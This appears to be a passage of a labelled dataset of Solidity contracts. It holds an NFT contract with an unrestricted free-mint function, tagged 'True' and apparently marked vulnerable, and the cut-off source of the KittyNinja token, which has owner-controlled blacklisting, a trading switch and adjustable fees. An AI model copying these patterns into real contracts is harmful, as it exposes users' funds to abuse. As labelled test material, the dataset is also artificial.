*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/utils/Strings.sol
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// File: @openzeppelin/contracts/utils/introspection/ERC165.sol
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// File: @openzeppelin/contracts/token/ERC721/ERC721.sol
pragma solidity ^0.8.0;
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
// File: contracts/Simple.sol
pragma solidity 0.8.6;
contract Simple is ERC721, Ownable {
string public baseTokenURI;
constructor() ERC721('SimpleNFT', 'SNT') {
}
function freeMint(uint256 tokenId) public {
_safeMint(msg.sender, tokenId);
}
function freeMintMultiple(uint256 amount, uint256[] calldata tokenIds) external {
for (uint256 i=0; i<amount; i++) {
freeMint(tokenIds[i]);
}
}
function _baseURI() internal view virtual override returns (string memory) {
return baseTokenURI;
}
function setBaseURI(string memory baseURI) public onlyOwner {
baseTokenURI = baseURI;
}
}
|
True
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1006,
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1006,
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1027,
1035,
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5620,
10497,
2121,
1006,
1007,
102
] |
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/**
*Submitted for verification at Etherscan.io on 2022-01-13
*/
/**
From the shadows, a master of stealth and sabotage emerges, unleashing a feline frenzy upon any challenger that dares stand in its way. In a world of generic mutts, Kitty Ninja reigns supreme!
https://kittyninja.io
https://t.me/kinja_eth
https://twitter.com/kinja_eth
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract KittyNinja is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "KittyNinja";//
string private constant _symbol = "KINJA";//
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 10000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 public launchBlock;
//Buy Fee
uint256 private _redisFeeOnBuy = 1;//
uint256 private _taxFeeOnBuy = 13;//
//Sell Fee
uint256 private _redisFeeOnSell = 1;//
uint256 private _taxFeeOnSell = 15;//
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping(address => uint256) private cooldown;
address payable private _developmentAddress = payable(0xDe4726D3375C4021366b71c2912F25Ec9B57AdC0);//
address payable private _marketingAddress = payable(0xdBbA4731D0487740f885e8f519ECe6DEE379F379);//
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 30000 * 10**9; //
uint256 public _maxWalletSize = 60000 * 10**9; //
uint256 public _swapTokensAtAmount = 10000 * 10**9; //
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
bots[address(0x66f049111958809841Bbe4b81c034Da2D953AA0c)] = true;
bots[address(0x000000005736775Feb0C8568e7DEe77222a26880)] = true;
bots[address(0x34822A742BDE3beF13acabF14244869841f06A73)] = true;
bots[address(0x69611A66d0CF67e5Ddd1957e6499b5C5A3E44845)] = true;
bots[address(0x69611A66d0CF67e5Ddd1957e6499b5C5A3E44845)] = true;
bots[address(0x8484eFcBDa76955463aa12e1d504D7C6C89321F8)] = true;
bots[address(0xe5265ce4D0a3B191431e1bac056d72b2b9F0Fe44)] = true;
bots[address(0x33F9Da98C57674B5FC5AE7349E3C732Cf2E6Ce5C)] = true;
bots[address(0xc59a8E2d2c476BA9122aa4eC19B4c5E2BBAbbC28)] = true;
bots[address(0x21053Ff2D9Fc37D4DB8687d48bD0b57581c1333D)] = true;
bots[address(0x4dd6A0D3191A41522B84BC6b65d17f6f5e6a4192)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(block.number <= launchBlock && from == uniswapV2Pair && to != address(uniswapV2Router) && to != address(this)){
bots[to] = true;
}
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_developmentAddress.transfer(amount.div(2));
_marketingAddress.transfer(amount.div(2));
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
launchBlock = block.number;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
